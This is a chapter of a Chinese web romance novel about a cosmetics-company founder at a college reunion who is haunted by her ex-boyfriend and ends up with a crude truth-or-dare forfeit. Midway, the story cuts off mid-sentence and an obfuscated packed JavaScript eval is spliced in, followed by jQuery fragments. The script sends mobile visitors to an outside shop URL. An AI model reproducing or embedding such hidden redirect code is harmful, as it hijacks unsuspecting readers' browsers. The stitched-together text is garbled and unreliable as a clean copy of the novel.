《他的温柔会说话》
晋江文学城/菜狗儿原创
2026.3-
“我原本只是想在你心里种一朵花，没想到最后我的世界多了一片春。”
——琦黛广告宣传语
-
京城大厦上方乌云肆意翻涌，层层叠叠压向那座高耸入云的公司大楼，墨色的云团间，隐隐有闪电划过。
“高总再见。”
高迟笙站在咖啡机前，刚转身，恰巧迎面碰上正要下班的三人组。
她端着刚冲泡的咖啡，笑着回应：“下周一见。”
琦黛是高迟笙一手创办的化妆品公司，除了国家节假日外，还实行周末双休制度。
今天周五。
他们走后，覃芩从一堆文件中抬起头：“笙笙，都快晚上了，再喝咖啡小心今晚失眠。”
覃芩是公司年纪最小的成员，起初一直称呼高迟笙“迟笙姐”，后来高迟笙让她别那么见外，便才开始叫“笙笙”。
身边每一个与她亲近的人都喜欢这么叫她，唯独除了那个人。
当初还和他在一起的时候，他叫她最亲密的称呼，也不过是去掉姓氏罢了。
他总是跟个闷葫芦一样。
高迟笙漫不经心地耸肩，笑道：“中午没睡，喝咖啡续个命。今晚还有同学聚会，玩累了晚上自然会睡着的。”
今晚确实有聚会，不过这只是她回复覃芩的客套话。
她并不打算去。
“我还有文件要处理，你早点下班。”
她简单交代完，转身正好收到大学同学林清淼的消息：「笙笙，今晚同学聚会，别忘了。」
高迟笙捏着手机愣神，当即怀疑林清淼是不是在她身边安监控了。
她太了解林清淼的性子，要是自己在十分钟之内不回复，等待她的只会是消息轰炸。
她没办法装看不见，索性回复：「快要下雨了。」
多年不见，林清淼依旧是那副急性子，下一秒电话直接打来。
她甚至都不等高迟笙说句话。
“放心来吧，毕业后大家都各奔东西，今晚能到现场的也就才十来个人。你别听那班上几个男生吓唬你，对，他们确实邀请了魏津砚，但他不来。”
高迟笙手猛地一抖，咖啡溅在手背上。
尖锐的烫意让她下意识瑟缩了一下，眉头也跟着紧紧蹙起，眼底还残留着未散的怔忡。
“你公司离酒吧又不远，而且你家老头不是才刚给你买了辆车子，你要是不想开车我也可以顺路接你。”
林清淼还在滔滔不绝，甚至精细到把各种因素都考虑到。
脑子里的推辞理由还没组织完整，就被迎面驳回。
高迟笙倏地被扼住了话头，愣在原地，什么也说不出来。
她垂下眼睫，目光掠过手背上浅浅的红痕，落在咖啡的拉花上，爱心样式是她唯一会做的拉花，但今天做的还不是那么完美。
中间有了条裂缝。
随后，她微不可察地叹了口气，似妥协：“我晚点到。”
……
处理完工作已经接近七点。
早在刚刚高迟笙就察觉到外面下雨了，雨势又急又猛，来得快，退得也快。
等她出了京城大厦，只剩水泥地上一片片斑驳的湿痕。
京城车辆限号，她今天没开车。
公司离聚会的酒吧不远，她正好踩着点进包厢。
她大学学的新闻学专业，一个班也就三十来个人。
京城是无数学子心中的乌托邦，毕业之后乌托邦的梦便破碎了，大伙分道扬镳，各奔东西。
本以为今天到场的人寥寥无几，到场却发现，比她预想中的还要多。
不过真正算是他们班上的，也就十几个人。
剩下的都是其他专业的人，估计和班上同学玩得来，就顺便过来聚一聚。
今晚的聚会，准确来说，应该是校友聚会。
在场的几张面孔，高迟笙都不认识。
但她知道，这些人要么是京城户口的，要么就是毕业后留在京城工作。
人虽然聚不齐，但大学毕业还能来一场聚会，倒也很难得。
多亏了林清淼这个活宝，嘴巧得不行，仅靠一张嘴和几通电话，就能把人拉到一块儿。
高迟笙不想赴约，不是因为和谁有冲突，就单纯觉得没意思。
因为大学四年下来，她甚至连一些人的名字都记不住。
班上人都知道高迟笙家境雄厚，加上她大学期间懒得社交，尤其在谈恋爱之后，基本上一直跟着魏津砚泡图书馆和实验室，和班上同学交往甚少。
除了林清淼，大家对她也都敬而远之。
高迟笙一进包厢就坐到林清淼身边，等坐稳了才把目光跳远，不小心瞥见林清淼在给人发消息。
不过无意间的匆匆一眼，林清淼却警惕地收回手机。
高迟笙知道偷看是她的不对，对此什么也没说，假意往别处看，扭头四处随便张望。
林清淼好像误会了什么，嬉皮笑脸的，故意撞上高迟笙的胳膊。
“别看了，他真没来。正好现场男生太少，你要舍不得就打电话让他来呗，你叫他没准还真管用。”
高迟笙面不改色与她对视，琥珀色的瞳仁在昏暗的环境熠熠生辉。
“这不是同班同学聚会吗？都不是一个学院的，叫他来干嘛？”
新闻专业很少有男生报，一个班38人，只有3个男生。
林清淼笑得更灿烂了：“咱班上还有一个男生没来，我都没说是谁，你怎么就自动代入你前男友了？”
“……”
“而且你自己也说了，他也不是我们学院的，你干嘛第一个想到他？”
“……”
林清淼的口才一如既往地好。
高迟笙争不过她，嘴唇抿了抿，老老实实闭了嘴，偏过头去，带着几分孩子般的赌气。
可这一转，却恰好看到了不远处的另一个人。
对视不到两秒钟。
她又不动声色地收回视线，心里已经乱成一团麻。
就应该低头看手机，眼睛往哪儿瞟都是罪。
所谓聚会，本质不过是一场大家围坐一处畅所欲言的局。
每个人都有自己难跨越的坎，欢声笑语的表象下，大家不经意的几句交谈，便能轻松撕开生活伪装的幕布。
知道高迟笙不喝酒，林清淼给她点了一杯饮料。
高迟笙缩在角落，咬着吸管，安安静静地听大家畅聊。
谁知下一秒，姜谦佑便把话题引到她身上：“迟笙，你呢？毕业后过得怎么样？”
空气里静了几秒，高迟笙目光幽幽，斜睨他。
姜谦佑被盯得发怵，一如刚刚与她对视的瞬间。
他只觉得，那道视线轻飘飘的，带着说不出的压迫感，和那个人简直一个模子里刻出来的。
姜谦佑不自然地左右扭捏两下，以为得不到回答了，刚准备转移话题。
前方传来一句：“就那样。”
杯盏轻碰间，大家话多了起来，先前人与人保持的那份刻意疏离，也在酒意里慢慢松了劲。
高迟笙前半段一直不吭声，如今突然开口说话，便开始有人逮住她不放。
“迟笙，听说你开了家化妆品公司，是自己创业吗？”
只有敢叫她“笙笙”的人，才是与她亲密的人。
单纯去掉姓氏的套近乎都不算。
高迟笙好像知道自己把吸管咬破了，不好意思松口，便一直含着吸管，漫不经心地答：“对。”
那女生咋呼：“太厉害了！”
高迟笙淡漠瞥她一眼，嘴角是上扬的，神情却总是一副拒人千里之外的模样：“太高看我了，琦黛创办一年多，还只是个不知名的小牌子。”
并不是所有的品牌都能占有一栋大楼。
琦黛之所以能在京城大楼中的某一层楼占得一席之地，与她那位氪金的爹脱不开关系。
果不其然，又有人说：“高总那么有钱，可是为什么不稍稍让他……女生嘛，有时候别老一个人撑着，会吃不消。”
说话的是位男生。
高迟笙对他有几分眼缘，不过记不得他的名字。
他口中的“高总”，自然指的是京城赫赫有名的高许松，而不是她这位没几斤几两的小高总。
对方
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17406547|200539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中途突然卡顿的话，就算没说完，她也清楚他想表达的意思。
高迟笙刚准备回他：“怎么你们男人想法如出一辙？”
没想到她这句话还没吐出来，不仅男生，就连场上好几个女生都在附和点头。
她乍然没了要反驳的想法。
她常常在想，像她这样的出身，在外人眼里或许满是光鲜顺遂，可其中的滋味，只有自己清楚。
别人羡慕的点，有时恰恰能成为别人强行加在自己身上的束缚。
当事人没再说话，这个话题聊了没几分钟就停止了。
大家又跳转到下一个，可高迟笙的思绪，却渐渐飞出这片地。
她又想起那个人，以及当初随口挑起的、在分开之后都没争论出谁对谁错的话题。
记忆里的场景，她只记得一些枝末细节。
雪夜。
他送她回寝室，这还是她强制要求他这么做的。
中间发生了什么，她的记忆已经有些模糊，好似蒙了层雾，记不起来了。
唯独魏津砚那句话，清晰得格外嘹亮，在耳边挥之不去：“迟笙，在往后的某个瞬间，你会明白的。”
也有可能她只是单纯不愿意回忆起来。
不过她不得不承认，分开的这几年，似乎生活里发生的每一件事，都能唤起她记忆里的某个细节。
只是没想到，这一天来得如此之快。
若不是林清淼强行把她拉回现实，她都不知道已经到了游戏环节。
为了能让大家都参与进来，林清淼提议玩最大众的游戏，抽纸牌玩真心话大冒险。
大牌的人能指定小牌的人做事，大小王无敌，可随意选取惩罚对象。
规则很简单，游戏也没什么特别的，主要还是想把气氛给弄得活跃。
高迟笙也不想扫了大家的兴致。
反正现场那么多人，根据概率学原理，没准她一晚上都不会成为被罚的那个人。
当然，这个结果还有一个前提。
那就是林清淼抽不到王，不然她高低选高迟笙罚。
高迟笙想过最坏的结果，就是大小王落到林清淼手上，没想到还有更背的。
第一局林清淼还真抽到了大王。
此外，高迟笙还抽到全场最小的牌，Buff直接叠满。
林清淼直接乐得前合后仰，还一副大义凛然的样子：“笙笙，你是牌全场最小的，所以不好意思……委屈你了。”
高迟笙偏过头，轻“嗬”了一声。
“第一把带头玩点劲爆的呗，别选真心话啊，没意思！”
周围环境幽暗，嬉笑声中传出了这样一句话。
高迟笙心里琢磨着，不知这话是谁说的，不然她定要好好谢一谢对方。
她才不想选真心话。
他们每一个人都想知道，她当年把魏津砚甩了的真正原因。
这是她不愿提及，也绝不能说的秘密。
“放心啦，第一把只是试试水，我肯定不会让我们笙笙做什么很出格的事情！”
林清淼已经想好了惩罚的内容，安慰高迟笙的同时，一边低头看手机，手指不停地在便签上打字。
手机屏幕的冷光幽幽映在林清淼脸上，将她嘴角那点藏不住的笑意，以及眼底的狡黠都照得分明。
高迟笙望着她，慌意来得突然又真切。
林清淼打完那两句话，然后举起手机，在每个人面前转圈轮番展示。
高迟笙是最后一个看到的人。
在这之前，她注意到，每个人在看到内容后，表情都变得格外耐人寻味。
终于，林清淼把手机屏幕定格在她面前，一边说道：“给魏津砚发这几条消息，要求一字不落，不许暗示和提醒。”
高迟笙目光随意扫着，看到要发的消息，脸上的表情霎时僵住。
——「知道姐当年为什么把你甩了吗？」
——「因为你那里好小。」
有人看到她的反应，三三两两的已经在捂着嘴憋笑了。
高迟笙本以为这已经够整她了，没想到林清淼那个小鞭炮又突然炸了一句：“哦对了，再补五个字。”
“满足不了我。”